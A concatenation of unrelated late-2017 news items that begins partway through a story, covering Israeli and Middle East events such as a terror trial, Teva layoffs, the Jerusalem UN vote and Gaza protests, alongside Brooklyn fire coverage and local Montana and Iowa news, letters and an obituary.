Rajbi accelerated and rammed his motorcycle into Lomega. He then disembarked from the bike and approached Blakitzki while holding his knife in his left hand and his helmet in his right, and beat him with the helmet.

The terrorist had no criminal record prior to the attack and worked as a sanitation worker in Jerusalem's Cinema City complex. He was not politically involved before the attack, his parents claimed.

However, a clinical psychologist's opinion submitted by the defense said Rajbi had suicidal tendencies and suffered from depression in the past year due to ongoing family problems and his inability to pursue a higher education.

Rajbi previously worked in sanitation in Jerusalem's Cinema City complex (Photo: Alex Kolomoisky)

In addition, a week before the attack his father had beaten him in the neighborhood's main square in front of his friends, and he tried committing suicide twice before the incident. Rajbi also told a psychologist he could not understand what came over him the day of the attack, or why he had committed it.

"It was not a nationalistically-motivated terror attack, but an act carried out due to personal motives that were superimposed with a nationalistic motivation. He did not intend to become a martyr, he intended to die, but expected to be called a martyr by sheer virtue of the fact that he died," the psychologist, Dr. Masalha, explained in court.
The funeral procession for the four members of the Azan family who perished in a Brooklyn house fire Monday began later that same day, with thousands of mourners from the city's Syrian Jewish community accompanying Aliza (Luza) and her three childrenMoshe, Yitzah and Henriettain their symbolic funeral that took place before they were flown to Israel to be buried.

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The fire department released a statement late Monday saying fire marshals determined the blaze to be accidental, caused by an "unattended lit menorah."

The Azan family, four of whose members perished in the fire Monday

Neighbors said the family kept the menorah in a living room window throughout the eight-day holiday, also known as the Jewish Festival of Lights.

The Flatbush funeral procession

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Thus, thousands of New York City's Syrian Jewswho could not attend the family's planned Israeli funeralcongregated near the Halabi synagogue of Jews from Aleppo, in the borough's Flatbush neighborhood.

In accordance with the Hanukkah holiday traditions no eulogies were made, with family members and others in attendance only reading the "Kaddish" prayer and verses from the book of Psalms. The four bodies will later be flown to Israel, where they will be interred in the Holon cemetery Wednesday.

The Azan family's loss was not the first to strike the borough: less than three years ago a fire ravaged the home of the Sassoon family , also Syrian Jews, claiming the lives of seven children. Monday's fire was no less devastating, claiming the life of Aliza, 39, and her three children: 11-year-old Moshe, 7-year-old Yitzah Hillel and 3-year-old Henrietta Leah.

The family's father, Yossi, leapt into the flames in an attempt to save his wife and children but was badly burned himself and is currently fighting for his life in hospital.

The victims' four coffins (Photo: Yisrael Berger)

Links between the Sassoon and Azan families do not stop at their mutual tragedies, however, as both families knew one another and were on friendly terms, as they were both members of the city's Syrian Jewish community and the children all went to the same school.

Yossi and Luza are Israelis who were raised, educated and lived in Israel. Luza is part of a well-known family of Syrian descent, and her father was the Syrian community's rabbi in Holon.

Despite no longer being Israeli residents, Minister of Religious Services David Azulai made an irregular request for them to be permitted to be buried in the cemetery of the town where they lived while they were in Israel, as per Yossi's request, and was granted his request by the director general of greater Tel Aviv's burial society Avraham Manala.

The couple's many friends in Israel also pitched in to help, with some leaving for New York and some assisting from Israel. The family's friends have taken then necessary arrangements upon themselves, including flying the bodies to Israel, organizing the Holon funeral and supporting the family members still hospitalized.

One such friend is Itzik Sudri, who knows Yossi from their days at the yeshiva. Sudri said the family's friends were all ensconced in grief and prayer for his recovery. "We're in complete shock, feeling immense pain and can't stop crying," he said.

The family's burned out home

Sudri described Yossi and Luza as a couple "filled with joie-de-vivre and hospitality, people who opened their door to anyone who came to Brooklyn from Israel."

An Israeli relative of the family described the family's state to ultra-Orthodox website "Behadrey Haredim", saying, "Everyone's crying non-stop, it's like a nightmare, but despite the immense difficulty weas observant Jewsreconciled ourselves to what happened. We have no questions: God gave, and God hath taken away."

An appeal for the public to pray for the speedy recovery of the members of the Azan family injured in the fire went out over religious social media networks and media outlets.
The Saudi-led coalition fighting Yemen's Shiite rebels said it intercepted a missile fired over southern Riyadh on Tuesday, which the rebels said was targeting a "top leadership" meeting at the royal palace in the kingdom's capital, Riyadh.

It was the second time in as many months that a rebel projectile had reached as far inside the kingdom as Riyadh.

The Yemeni rebels, known as the Houthis, said they launched a ballistic missile to target Yamama Palace in Riyadh, where King Salman chairs weekly government meetings and receives dignitaries and heads of state from around the world.

The coalition statement, carried by Saudi state TV, said the missile was fired by the rebels, known as Houthis. State TV said no damage was caused by the intercepted missile. The coalition later said the missile launch proved the "continued involvement" of Iran in supporting the Houthis." It also repeated its claim that the rebels use "relief work outlets" to smuggle such missiles inside Yemen to target the kingdom.

Residents of Riyadh posted videos on social media showing a small cloud of smoke in the sky after hearing a loud explosion.

Houthi spokesman Mohammed Abdul-Salam tweeted that a ballistic "Volcano H-2" missile was used in the attack. The rebels' military media said the missile targeted "an expanded meeting of the Saudi top leadership at Yamama palace in Riyadh."
Teva Pharmaceutical Industries has rejected Israeli Prime Minister Benjamin Netanyahu's request to keep the company's manufacturing plant in Jerusalem running.

The world's largest generics drugmaker said last week it aimed to cut debt by reducing its workforce by more than a quarter, or 14,000 jobs, including 1,700 in Israel, where it will close its manufacturing site in Jerusalem.

Teva has said about 320 workers would lose their jobs in Jerusalem in 2018 and 500 would be laid off in 2019 when the plant shuts.

"Unfortunately, Teva is unable to consent to the request of the prime minister and ministers and avoid the closure of the plant in Jerusalem and the company will continue in the phased closure of the plant by the end of 2019," Chief Executive Kare Schultz said, following a meeting with Netanyahu and the ministers of finance, economy and labour.

Teva's business situation requires immediate and significant action to secure its future, he said.

"Without taking drastic steps in the coming weeks and months, the company will be increasingly vulnerable to potential takeover," Schultz said.
The UN General Assembly will gather in an emergency session Thursday to vote to rescind the American recognition of Jerusalem as the Israeli capital.

Yemen and Turkey submitted the draft resolution on behalf of the Arab and Muslim nations. It is expected to be similar to the Egyptian sponsored resolution vetoed by the US in the UN Security Council.
The Foreign Ministry sent out a memo Tuesday to all Israeli embassies worldwide ahead of Thursday's General Assembly vote against American recognition of Jerusalem as the Israeli capital.

The Ministry instructed Israeli diplomats to ask their host countries to oppose the pro-Palestinian resolution and not to comment during the UN session.
Prime Minister Benjamin Netanyahu failed to convince Tuesday Teva CEO Kare Schultz to reduce the number of Israeli layoffs he intends to execute in the pharmaceuticals giant in a plan that has sparked outrage and triggered multiple protests.

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The meeting, which took place in Jerusalem against a backdrop of a wave of protests by the companys workers, concluded without progress in putting a stop to the planned layoffs that will see a reduction of 25 percent of the companys workforce and a suspension of its dividend on ordinary shares in a much-anticipated overhaul to help pay back its massive debt.

Schultz informed the prime minister that he did not intend to revise the planned number of redundancies that is expected to reach 1,700 workers from the financially straitened company, and that the plan to shut down its factories would proceed.

PM Netanyahu and Teva CEO Kare Schultz (Photo: Twitter, Reuters)

Schultz, known for his hard-nosed and ruthless approach in implementing cutbacks, refused to give way on any of the suggestions made by Netanyahu.

This is our plan to cope with the situation which we are in. Any attempt by you to change the plan could cause the company serious damage and cause more layoffs and the closure of more factories, Schultz warned as he doubled down on his proposal.

With Schultzs stated determination not to budge, the government will no longer consider providing grants to Teva and is expected to seek other alternatives for the workers.

During the talks, Netanyahu and Schultz also discussed the need to find a solution for employment for the workers. Officials who were present claimed that the heads of Teva also acknowledged the necessity to provide assistance on the the issue.

We want to save Teva and that means reducing the companys costs, Schultz told Netanyahu, Finance Minister Moshe Kahlon, Economics Minister Eli Cohen and Welfare and Social Services Minister Haim Katz in a bid to justify the giant rollback.

Production activity is not profitable. We can either try to improve the profitability or we will close, he continued. The pills at the Jerusalem factory can be manufactured at half the cost in Eastern Europe. The inhalers that are produced at the second factory have almost no demand.

Teva workers protest planned layoffs (Photo: Amit Shabi)

Schultz stressed that his decision not to bend on the blan stemmed solely from lack of alternatives. I was chosen to act on behalf of the companys shareholders. You have to remember that we are firing 1,700 workers in Israel, but we are also leaving the headquarters here and the Research and Development center, and the lions share of the production.

It is a small part of the activities that we are reducing across the world, which overall means the closure of 16-20 factories.

Despite the redundancies, Schultz promised that Teva would be accompanying the worker affected in Jerusalem, together with the city Municipality. We wont just be throwing people in the the street. We will train them for other work and try to assist them in finding alternative workplaces, he pledged.

He further outlined the incremental stages in which some of the layoffs would take place, saying that in 2018, 320 people would be fired and another 500 would lose their jobs in Jerusalem the following year.

According to a statement issued by the Prime Ministers Office after the meeting, the government officials asked that the factory be left in Jerusalem but that Schultz did not respond to the suggestion, offering instead that the relevant parties work together to prepare the fired employees to seek new employment for the majority of the workers in the factories marked for closure.

Without taking drastic steps in the coming weeks and months, the company will be increasingly vulnerable to potential takeover. Therefore, a week ago Teva announced its a comprehensive reorganization plan, that is expected to result slashing of around 14,000 jobs across the world, the statement read.

Expressing his appreciation for the governments years-long support for Teva under Netanyahus leadership and the companys contribution to the State of Israel, Schultz said that his decisions would keep the company afloat and strong worldwide while simultaneously acknowledging that while the steps hurt, they are essential for Tevas future. We are obligated to implement the program in the US, in Europe and in Israel too, in a fair and respectful way.

Commenting on the meeting with Netanyahu, Schultz added: Unfortunately, Teva is unable to consent to the request of the prime minister and ministers and avoid the closure of the plant in Jerusalem and the company will continue in the phased closure of the plant by the end of 2019.

Following the announcement, Teva workers staged further protests, threatening to stop distributing medication against cancer, AIDS, jaundice and other serious diseases.
The conservative kingdom of Saudi Arabia, long criticised for its constraints on women, will get its first woman ambassador in Riyadh with the appointment of a female envoy from Belgium, according to reports in the Belgian media.

Belgium will send Dominique Mineur, currently the ambassador to the United Arab Emirates, to Riyadh next summer according to local news reports, making her the first woman ambassador in the kingdom.

Saudi Arabia is well known as one of the world's most gender-segregated nations, where women live under the supervision of a male guardian, and in public must wear head-to-toe garments.

Mineur's appointment, in addition to reports that the European country will also send a female ambassador to Tehran, has not been officially announced by Belgium's ministry of foreign affairs.

However, in a speech in Brussels on Monday, Belgian Foreign Minister Didier Reynders said the decision to appoint female envoys to places like Tehran and Riyadh, "should have been obvious."

"(It) is further evidence of the stakes of women's rights in these countries, but above all of our willingness to send the most competent people to positions that are increasingly important on the international scene," said Reynders.
Happy holidays to you and your family.

As we look ahead to the promise of 2018, we also pause to reflect on the past year, one that none of us at the Red Cross will soon forget.

Three massive hurricanes pounded Texas and Florida, Puerto Rico and the Virgin Islands. Wildfires raged in Montana and across California. And mass shootings left Las Vegas and Sutherland, Texas, in shock.

Red Cross answered the call each time, delivering food, shelter and comfort. In just a few months, more than 35 Montana Red Cross volunteers and staffers were deployed here at home and across the country.

One volunteer, Toni Taylor of Missoula, did it all, supporting those in the path of Montana and California wildfires, deploying to Texas following Hurricane Harvey and helping victims of the Las Vegas shootings.

Our volunteers are truly amazing, but their work wouldnt be possible without some other incredible individuals  our generous donors.

Together they brought relief to those who needed it most.

If you would like to donate to the Red Cross or become a volunteer, visit www.redcross.org/montana or call 800-272-6668.

Heres to a calmer, safer 2018.

Tom Wozniak,

board chair,

Red Cross of Montana,

Missoula
Workers of the Teva pharmaceuticals company threatened Tuesday to stop distributing medication against cancer, AIDS, jaundice and other serious diseases, following Prime Minister Benjamin Netanyahus inability to convince the firms CEO Kare Schultz to reduce the number of Israeli layoffs he intends to execute over the course of the next three years.

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Protesters took to the streets outside the Teva tablet factory in a rage, burning tires in yet another demonstration against the mass layoffs while another Teva inhaler factory saw workers handcuff themselves to the premise gate.

(Photo: Amit Shabi)

The protesters said they intended to sleep inside the warehouses to prevent the vital drugs from being taken.

Itzik Ben Simon, chairman of the Teva tablet factory's workers' union, described the layoffs as akin to a terror attack in Jerusalem. We will continue to assemble at the factory entrance and we will expand to other intersections around the country. There will be no production.

(Photo: Amit Shabi)

Ben Simon went on to say that Schultzs decision to fire thousands of workers and to close down the factory by 2019 would not be accepted.

We are one. We request forgiveness from the sick that the pills sit here and cannot leave, but the responsibility falls on the management of Teva.

PM Netanyahu and Teva CEO Kare Schultz (Photo: Twitter, Reuters)

Schultz informed the prime minister that he did not intend to revise the planned number of redundancies that is expected to reach 1,700 workers from the financially straitened company, and that the plan to shut down its factories would proceed.

This is our plan to cope with the situation which we are in. Any attempt by you to change the plan could cause the company serious damage and cause more layoffs and the closure of more factories, Schultz warned as he doubled down on his proposal.
A group of activists interrupted a speech by Prime Minister Benjamin Netanyahu at a Jerusalem bible contest Tuesday. The activists called for the cancellation of Israeli arms deals with brutal dictatorships as well as against the military aid to Myanmar where a Muslim minority group is being targeted.

The audience silenced the activists with pro-Netanyahu chants and ushers removed them from the hall.
The 16-year-old Palestinians girl who was arrested overnight Monday after being filmed, along with other Palestinian girls, provoking and beating Israeli soldiers during protests in the Palestinian village of Nabi Salih said that maybe I would like to be a martyr.

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Ahed Tamimi, who will remain in custody until Thursday, the police announced Tuesday, was caught on camera with her cousin repeatedly assaulting two IDF soldiers as her mother Nariman intervened and confronted the soldiers. Nariman was also arrested for her involvement.

Ahed Tamimi provokes IDF soldiers

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Tamimi being arrested by Border Policewomen (Photo: IDF Spokesperson's Unit)

Bassem Tamimi, Ahed's father, claimed in an interview with Ynet that the occupation forces from the Border Police behaved cruelly and used violence. They carried out searches in our home and caused damage, they confiscated computers, cellphones, cameras and every other electronic device. They hit the children afterwards and forcefully took their phones.

Bassem Tamimi (Photo: Hassan Shaalan)

Bassem also insisted that the arrest had taken place in the aftermath of media incitement which he said caused a public interest in Israeli society.

Yesterday, I saw in the Israeli media that people were calling to demonstrate against Ahed in the streets of Tel Aviv, after they tried to describe the dangerous soldier as a victim of Aheds actions, Bassem said. It is important to point out here that this soldier was present in the compound of our home.

(Photo: Hassan Shaalan)

In the video that surfaced Monday, the Palestinian girls can be seen aggressively provoking IDF soldiers. Despite the fact that the provocation became quite physical, the soldiers maintained their composure and did not respond.

(Photo: Hassan Shaalan)

Before the incident, a soldier threw a tear grenade at our house which broke the door and we could hardly breath, the father claimed.

There is more than one witness that can testify against him. Before that, the same soldier shot a rubber bullet at point blank range at Mohammad Tamimi and wounded him in his face. He is still being treated at the intensive care unit in Ramallah and has undergone serious surgery.

A family relative said that Ahed would often express a desire to die as a martyr. She would say I am not scared of them arresting me or killing me. I am struggling for the Palestinian people. Many martyrs have fallen and they deserve a lot. Maybe there will be more martyrs and I will be one of them.
A senior UN official said on Tuesday that Israel's killing of a disabled Palestinian man protesting against US President Donald Trump's recognition of Jerusalem as Israel's capital was "incomprehensible", but Israel said he had not been targeted.

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A statement issued by Zeid Ra'ad al-Hussein, the UN High Commissioner for Human Rights, said wheelchair-bound Ibrahim Abu Thurayeh was shot in the head by Israeli security forces close to the border fence with Israel on Friday.

Abu Thuraya, killed in the "day of rage" protests on Friday, was one of the regular protesters on the Gaza border. The Palestinians claim he was killed when a "sniper shot him in the head," while IDF officials said soldiers are instructed, according to the rules of engagement, to shoot main instigators only in the lower body area.

Ibrahim Abu Thuraya during the clashes

But the Israeli military later said its own investigation had found that it was not possible to say what had killed Abu Thurayeh and that no live fire had been directed at him during the dispersal of the violent demonstration.

"No live fire was aimed at Abu Thurayeh. It is impossible to determine whether Abu Thurayeh was injured as a result of riot dispersal means, or what caused his death," part of the military statement said.

It added that protesters hurled explosive devices and rocks and rolled burning tyres "with the aim of harming soldiers and destroying security infrastructure" and that non-lethal riot dispersal means were mainly used, although a few live rounds fired under supervision were aimed "towards main instigators."

Zeid said there was nothing to suggest Abu Thurayeh was posing an imminent threat when he was killed and "the facts gathered so far by my staff in Gaza strongly suggest that the force used against (him) was excessive."

"Given his severe disability, which must have been clearly visible to those who shot him, his killing is incomprehensible and a truly shocking and wanton act," Zeid's statement said.

The Israeli military statement said "numerous requests" for information on Abu Thurayeh's wounds had not been answered and that "if additional details are received, they will be examined and studied."

Gaza medical officials said on Friday that Israeli troops had shot dead four people, including Abu Thurayeh, and that 150 others were wounded by live fire during the protests.

Most of the casualties were on the Gaza Strip border. In the West Bank, the Israeli military said about 2,500 Palestinians took part in riots against soldiers and border police officers.

Abu Thurayeh, 29, was a regular at such demonstrations and considered by Israel as a prime agitator. In media interviews, he had said he had lost both his legs in a 2008 Israeli missile strike in Gaza.

Zeid's statement said the Israeli response had resulted in five people being killed, including three deaths in Gaza, as well as more than 220 injured by live ammunition.

International law strictly regulates the use of force in the context of protests and demonstrations, and the lethal use of firearms should only be employed as the last resort when strictly unavoidable in order to protect life, Zeid said.

"These events ... can sadly be traced directly back to the unilateral US announcement on the status of Jerusalem, which breaks international consensus and was dangerously provocative," Zeid said, calling for an independent investigation into the casualties.
Anaconda will soon be home to a manufacturing company that has contracts with the U.S. Air Force, and is anticipated to bring at least 15 new jobs to the Smelter City.

Thats according to Butte businessman Ron Ueland, who owns the Intercontinental Truck Body Co. in Conrad with brothers-in-law and Butte natives Mike and Bert Robins.

ITB was once exclusively a truck-body manufacturer, but has diversified into defense contracting, mainly for the Air Force, in recent years.

Ueland said in a new release Monday that he and the Robins will move ITB from Conrad, where the manufacturing company employs 15 to 20 people. Conrad is 63 miles north of Great Falls.

The Conrad employees have all been offered employment at the new location in Anaconda, though its not yet known how many will take up that offer, Ueland said in the release.

With the move to Anaconda, the company hopes to double its workforce to about 30, Ueland said in the release.

Jim Davison, executive director of the Anaconda Local Development Corp., said Monday the new location will be in the Arbiter Building, a former Anaconda Company property located off Highway 1, a few hundred feet northwest of Pintler Pets animal shelter. The area is several miles east of Anaconda.

The Arbiter Building has housed a number of businesses over the years, Davison said, including a paintball facility and a portable housing manufacturer.

There have been so many tenants, said Davison, noting that the ALDC has bought or sold the building about five times over the years.

The ALDC sold the building to Ueland in 2015, the executive director said, and since then his company has been upgrading the propertys wiring and roof, among other improvements.

It will definitely breathe new life into the building, Davison said.

Anaconda-Deer Lodge Chief Executive Bill Everett agreed.

This is fantastic for Anaconda, Everett said, noting that Ueland and the Robinses are well-known businessmen in Butte and Anaconda area.

The Robins brothers are the owners of SeaCast, Inc., with foundries in Seattle and Marysville, Wash. They also own 50 percent of Montana Precision Products, an aerospace foundry near Butte that employees 150 people, the news release said.

Ueland, meanwhile, is one of the investors behind Montana Craft Malt  a $15 million malting facility for the craft-brewery industry thats slated to be built in the Montana Connections Business Development Park west of Butte.

ITBs move to Anaconda is projected to be complete sometime in summer 2018, Uelands release said. Once ITB knows how many of its current employees will accept the transfer offer, the company will begin accepting applications for the new Anaconda location.
LONDON  I'm watching the U.S. from across the pond (the Atlantic, for those not being pretentious) at the end of a London holiday (that's "vacation" in America talk). The big Roy Moore debacle for President Donald Trump, Steve Bannon and the Republicans in general looks as ugly from this vantage point as it does o'er in the colonies (it doesn't take long for me to get totally pompous). Rarely do I say anything of the sort, but actually Trump's original tweet after this was spot on (another obvious affectation): "The people of Alabama are great, and the Republicans will have another shot at this seat in a very short period of time. It never ends!"

He's right about that. The political game truly never does end. Right now those of us on our pundit hamster treadmill are chasing our tales of analysis, telling everyone what this all meant. Let's save some time: It didn't mean all that much, other than at this moment in history, even the voters of an ultraconservative state (at least the black voters) rejected a fanatic who advocates his version of Christian Sharia to the extent that he's been twice removed from office, who longs for the days of slavery, who preaches hatred against anybody who doesn't share his sexual preferences, and who stands accused of acting on his individual sexual preferences for teenage girls. The vote was close, however. Still, it's probably just a bump in the road for the Trumpsters and the man who has taken the highest office in the land to new depths.

Of course, that's not the only Trump tweet to make news; it never is. There was this choice twitbit about Kirsten Gillibrand, the New York Democratic U.S. senator who has glommed on the sexual-assault and harassment issues and made them her own. Her quarry included Senate colleague Al Franken, forced to resign after she rallied fellow Dems to abandon him. Now she was attacking Trump, who stands accused by more than a dozen women of his own offenses. Gillibrand told CNN that Trump should simply resign. Actually, several other Democrats have joined in. But TWEETUS focused on her. It wasn't that long ago, he pecked, that Gillibrand was in his business office "begging" for campaign funds, "and would do anything for them." Surprise, surprise: Some found that a wee bit tasteless, suggesting that a female United States senator might be a hooker willing to "do anything" for cash.

Trump's designated apologist, Sarah Huckabee Sanders, told reporters that if they interpret his tweet that way, "Your mind is in the gutter." Just like it probably was during the campaign when he criticized Megyn Kelly's persistent questioning as "blood coming out of her wherever." The wheel keeps turning, and Donald Trump's misogynistic nastiness keeps disgusting all but his base. Even the usually placid management at USA Today has had it. After Trump's Gillibrand trip through his own gutter, the paper brutalized him in an editorial: "A president who would all but call Sen. Kirsten Gillibrand a whore is not fit to clean the toilets in the Barack Obama Presidential Library or to shine the shoes of George W. Bush."

Meanwhile, the president's fellow Republicans are finally locking in on their reason for being, which is to take care of their superrich patrons. They can pretend all they want that the tax cuts for the wealthy will grow the economy to such an extent that it won't blow up the national debt, but they're wrong, and they know full well they're wrong. They count on the impatience of the American people, who don't want to be bothered with studying data that would show they will be taking a bath. We prefer mucking around the sewer. Let's face it, the focus of late is all about smutty stuff as opposed to the detailed substance of the GOP tax thievery. So, soon after I get back, to put it in a British sorta way, Americans can plan on being diddled again.
As 2017 draws to a close, we are reminded of some significant anniversaries of world and national events. For example, 2017 marks the centennial of Americas entry into World War I and the centennial of John F. Kennedys birth. On a lighter note, 2017 marks the 50th anniversary of the debut of the Beatles landmark album, Sgt. Peppers Lonely Hearts Club Band.

For those of us here in Butte, however, 2017 has a significantly profound resonance, for we are acknowledging the centennial of the most deadly hard rock mining disaster in U.S. history  the Granite Mountain/ Speculator Mine Fire of 1917.

In anticipation of this significant anniversary, a group of Butte citizens formed a local nonprofit corporation called No Greater Love, LLC, (NGL) and proceeded to commission and produce a musical drama to commemorate the Granite Mountain Mine disaster and to pay tribute to the 168 fallen miners and their families.

The production debuted to great public acclaim on June 9 and 10, 2017, at the Mother Lode Theatre, and the NGL Board authorized a DVD and CD of the June premieres to preserve the live performances for posterity. The NGL Board will soon go out of business, having donated the proceeds from the production of No Greater Love to the Granite Mountain Memorial, the World Museum of Mining, and the Orphan Girl Theater in the form of $17,000 in grants to each of those nonprofit recipients.

Likewise, the NGL Board has produced 1,000 copies of the DVD/CD versions plus a program in a combined audiovisual package for sale to the public at $35 each. These packages have been donated to the Friends of the Archives, a nonprofit adjunct to the Butte Archives that promotes and funds cultural and historical projects that enhance the mission of the Archives.

Once the NGL winds down and dissolves as a corporate entity, any remaining funds in its account will be distributed to three local agencies that serve Buttes homeless community: Action, Inc., the Butte Emergency Food Bank, and the Butte Rescue Mission.

Copies of the NGL audiovisual packages are available for purchase at the Butte Archives, 17 W. Quartz St. They can be purchased in person or ordered by phone, and would make a cherished and inspirational Christmas gift. Contact the Archives at (406) 782-3280.
Senator Daines has introduced legislation with the euphemistic name of "Protect Public Use of Public Lands Act. The bill would eliminate wilderness study area (WSA) status for five WSAs in Montana. These lands were first protected by Senator Lee Metcalf in 1977 as part of the Montana Wilderness Study Act.

Daines title such protecting them as WSA is equitant to no use. What about the clean water that flows from these areas? What about the important elk, trout, and other wildlife habitat protected in these areas? What about the carbon stored in the forests? What about the outstanding scenic values in these areas?

To suggest they are not providing for public use is absurd. Anyone with a pair of sneakers can use these lands.

Senator Daines legislation would eliminate WSA protection for five areas- Blue Joint in the Bitterroot Mountains, Middle Fork of the Judith in Big Belts, West Pioneers, Big Snowies, and Sapphires Mountains.

Nearly all of these WSAs have been proposed for wilderness designation in previous wilderness bills that past Congress.

For instance, the 1988 Montana Wilderness Bill that passed both Houses of Congress included wilderness protection for Blue Joint, Sapphires, West Pioneers and Big Snowies.

The only reason these are not now protected under the Wilderness Act is that Ronald Reagan vetoed the bill which had support among Montanas Congressional Delegation and many state residents.

Given the growing importance of outdoor recreation in Montana, as well as the attractiveness of unexploited landscapes for footloose entrepreneurs, Daines bill is clearly anti-jobs and counter to the future of Montana.
MUSCATINE  Muscatine Fire Chief Jerry Ewers awarded three firefighters this past week for going above and beyond the call of duty to save a person in critical condition.

On Sept. 23, firefighters Jon Wieland, Nathan Cruchelow and Michael Lintz responded to a request for an ambulance in the 200 block of Clinton Street, for a male subject having chest pain. When crews arrived and checked the cardiac monitor, Ewers said it showed the person was having a ST-Elevation Myocardial Infarction (STEMI), or a serious type of heart attack.

Because of the severity of his condition, the Muscatine firefighters transported the patient to Trinity Rock Island, but halfway to the hospital, the patient went into cardiac arrest, according to Ewers. He said the first responders began to "aggressively treat" the patient, with CPR, medication and other tactics.

"By the time they were pulling into Trinity Rock Island, he was waking up, his heart was pumping, he had a pulse and was starting to talk to the paramedics," Ewers said. "So that was a significant call that had a great outcome."

Because of the severity of the situation and "outstanding performance of the staff," Ewers presented the trio with a Unit Citation, which recognizes the skills and response of a crew during critical medical calls.

Friday, the fire chief presented Wieland, Cruchelow and Lintz with plaques, letters and ribbons to pin to their Class A uniforms.

Last week was only the third time the fire department has awarded crew members through its awards and recognition program, which was implemented in 2012, according to Ewers.

"We never really had anything formalized in regards to a policy before 2012," he said. "People thought this is what firefighters and paramedics do, they save lives. But I thought we should really have a formal policy for recognizing when they do something more than what we do on a regular basis."

The first award was presented to two civilians in 2014, Ewers said. When an Allsteel employee unexpectedly collapsed at work, suffering from a cardiac arrest, two coworkers jumped to the rescue. The patient was not breathing and had no heartbeat, and would be considered clinically dead, when the Allsteel employees performed bystander CPR and early defibrillation.

The employees were awarded the Meritorious Civilian Award at a Muscatine City Council meeting.

In 2016, Ewers presented the first Unit Citation, for a crew that performed a high angle rescue at the Louisa Generating Station, when an employee was stuck inside an industrial elevator basket inside a chimney.

Ewers said that was the first incident in which the fire department used its high angle rescue training, despite learning it for at least 30 years.

While Muscatine firefighters have always responded to critical events and life-saving incidents, Ewers said he is proud the department is now officially recognizing the work.

"I'm proud of all the people on the fire department and this job is totally different than what it was when I started," Ewers said. "When I started, we did three calls a day, and the majority of stuff we did was building maintenance, like cleaning and washing stuff. Today, it's totally different."

Now, Ewers said the Muscatine Fire Department has a high performance Emergency Medical Services system, runs five ambulances, does critical care and other transports, plus responds to around 15 calls each day.
MUSCATINE  One decade ago, while the lawn of Weed Park filled with spectators, Mary Jo Stanley watched the Joffrey Ballet Company take the stage, and she and her husband were a large part of why the dancers were there.

Though the touring season orbited among the states larger cities  Des Moines and Iowa City  the company saw fit to make a stop in small-town Muscatine. According to Chuck Swanson, director of Hancher Auditorium, it was the goal of the University of Iowa to get exhibitions like the ballet out into the state. But the magnetism created by Mary Jo Stanley, who died Thursday at 83, and her late husband, Richard Dick Stanley, was no small part of bringing the dancers to town.

It is easy to write this off as a bone thrown to a donor, but as Swanson explained, the amount the Stanleys donated was matched in the presence they made at the table.

To perform in Weed Park, 12 semi-trucks had to be unloaded. Contacts had to be cultivated with the local parks and recreation department. Garbage had to be managed. Catering secured. This is not to forget that a whole troop of dancers would need, among other things, facilities to shower after the performance. Swanson said this is where Mary Jo Stanley stepped in.

With Mary Jos connections in the community, she knew just the right people to help connect us with, Swanson said. She knew how to get the word out among the community. How to get the ballet on peoples calendars.

Mary Jo and Dick Stanley contributed much time and money to the arts both at Hancher and in Muscatine. Swanson said she was a fixture at the auditorium.

Because of our common love of Hancher and the arts, Swanson got to know the Stanleys, building a friendship. During this time, Swanson said he found that Mary Jo Stanley was always keen to show artists her appreciation for their work. She did this, he said, though the questions she asked of them.

Its hard to explain, but there was a real sparkle in the way she would ask questions, Swanson said. She had such a knowledge.

Swanson said there was a sense of wonder that never left Mary Jo Stanley.

That youth  like hunger for everything she could possibly learn  that hunger for knowledge, for wanting to know more, Swanson said. Not just to know more but to show her appreciation to those who got her there.

Stanley's passing was felt across a wide cross section of Muscatine and the state of Iowa.

"Mary Jo's many contributions to the world and the foundation, among them her kindness and humanity, will continue to have a lasting impact on our work," Stanley Foundation president Keith Porter wrote in a news release.

Mary Jo Stanley joined the Stanley Foundation's board of directors in 1984 and served in that capacity until 2001, when she was named director emerita. In her service for the Stanley Foundation, she was a strong presence at events welcoming diplomats, officials and scholars to international conferences on issues of peace and security.

Beyond the foundation, Stanley also dedicated her time as chair of the Cable Television Commission when cable first came to Muscatine; as board member of the Muscatine Art Center Support Foundation; and a volunteer of the Muscatine Center for Social Action. She was involved in the creation of the Muscatine Area AIDS Coalition.

Part of what was special was their ability to bring people together and figure out what the next steps were to bring about the change they wanted, said Charla Schafer, executive director of Muscatine Center for Social Action. Mary Jo believed in (MCSAs) mission and chose to walk alongside those most in need. She took their walk with love and goodness.

Schafer said that when the Stanleys sat down at the table, there was credibility that their beliefs leant.

"They asked the hard questions, but quietly, Schafer said. But when there needed to be a question asked or a thought fleshed out, they would step out to ask the question. The respect people had for them elevated the conversation. There was work to get done if Mary Jo and Dick Stanley were at the table.

She died just four weeks after her husband. On Dec. 20, the Stanleys would have celebrated their 64th wedding anniversary.

Melanie Alexander, executive director of the Muscatine Art Center, remembered watching Mary Jo and Dicks back and forth.

The two of them together, to see them interact, there was this playfulness, this love, Alexander said. But they werent afraid to call each other out either.

She said that it was clear from those interactions how much they cared.

You just saw the love that came through them in how they spoke to each other, Alexander said. When I think of them, I think of those interactions. The love that the two had for each other came through.

A memorial service will be at 11 a.m. Saturday, Jan. 6, at First Presbyterian Church of Muscatine. The Rev. Dr. Pam Saturnia will officiate. Private burial will take place at Muscatine Memorial Park.

Visitation will be 4 to 7 p.m. Friday, Jan. 5, at Ralph J. Wittich-Riley-Freers Funeral Home, 1931 Houser St.
MUSCATINE  The Iowa Department of Transportation hopes opening a new $6 million maintenance garage will save money and help better serve the communities of Muscatine and Wapello.

A new DOT garage opened Friday in Muscatine's Southend, at 3001 Grandview Ave., replacing the former garages on Lake Park Boulevard in Muscatine and on Surrey Drive in Wapello.

The DOT has been pooling resources in Muscatine, Wapello and Washington for several years, according to DOT Transportation Planner Hector Torres-Cacho, who cited budget constraints and a reduction in staff. He said officially combining the Muscatine and Wapello garages should help crews make the most of their resources.

"For instance, our study of the new location demonstrated there was less time spent for trucks to travel from the garage to the work location at the new facility," Torres-Cacho said in an email. "Therefore, consolidation of these garages is not expected to affect winter operations nor maintenance service levels. Only start and end points would differ."

The Iowa DOT will continue to maintain operations over state highways 78 and 70, Torres-Cacho said, and staff, equipment and territory will also stay the same. While there will be no reduction in staff, he said two employees will be located from Wapello to Muscatine.

Combining the offices, he estimates, could save more than $100,000 in utility fees over 25 years.

"We are constantly looking at ways to optimize our resources and facilities when looking at replacement, relocation and improvement plans for specific locations," he said. "Consolidation of the Muscatine garage supports this approach."

A timeline for selling or disposing of the previous garages is not yet set, Torres-Cacho said. The former Muscatine garage, at 417 Lake Park Blvd., contains an old communication tower that will need to be retained until Muscatine County approves new towers for use.

